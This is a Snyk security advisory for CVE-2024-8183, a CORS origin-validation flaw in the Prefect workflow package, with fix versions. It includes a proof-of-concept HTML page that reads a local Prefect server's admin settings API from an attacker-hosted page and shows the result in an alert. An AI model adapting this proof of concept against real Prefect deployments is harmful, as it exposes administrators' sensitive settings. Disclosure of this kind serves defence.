Origin Validation Error Affecting prefect package, versions [,2.20.17)[3.0.0,3.0.3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-PREFECT-9487016
- published21 Mar 2025
- disclosed20 Mar 2025
- creditsrivallikusumba
Introduced: 20 Mar 2025
CVE-2024-8183 (opens in a new tab)How to fix?
Upgrade prefect to version 2.20.17, 3.0.3 or higher.
Overview
prefect is a Prefect is a new workflow management system, designed for modern infrastructure and powered by the open-source Prefect Core workflow engine. Users organize Tasks into Flows, and Prefect takes care of the rest.
Affected versions of this package are vulnerable to Origin Validation Error due to a misconfiguration in the handling of CORS policies. An attacker can access sensitive data and potentially disrupt services by sending requests from unauthorized domains.
PoC
- Create
cors.htmlon attacker server:
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC</title>
</head>
<body>
<h1>CORS PoC</h1>
<script>
fetch('http://127.0.0.1:4200/api/admin/settings', {
method: 'GET',
headers: {
'Origin': 'http://malicious-site.com'
}
})
.then(response => response.text()) // Convert the response to text
.then(data => {
alert('CORS PoC Response:\n' + data); // Alert the entire response
})
.catch(error => {
alert('CORS PoC Error:\n' + error); // Alert any error that occurs
});
</script>
</body>
</html>
- Host it, and send the link, as soon as victim will click on that link, the data will be popped up as alert(demo).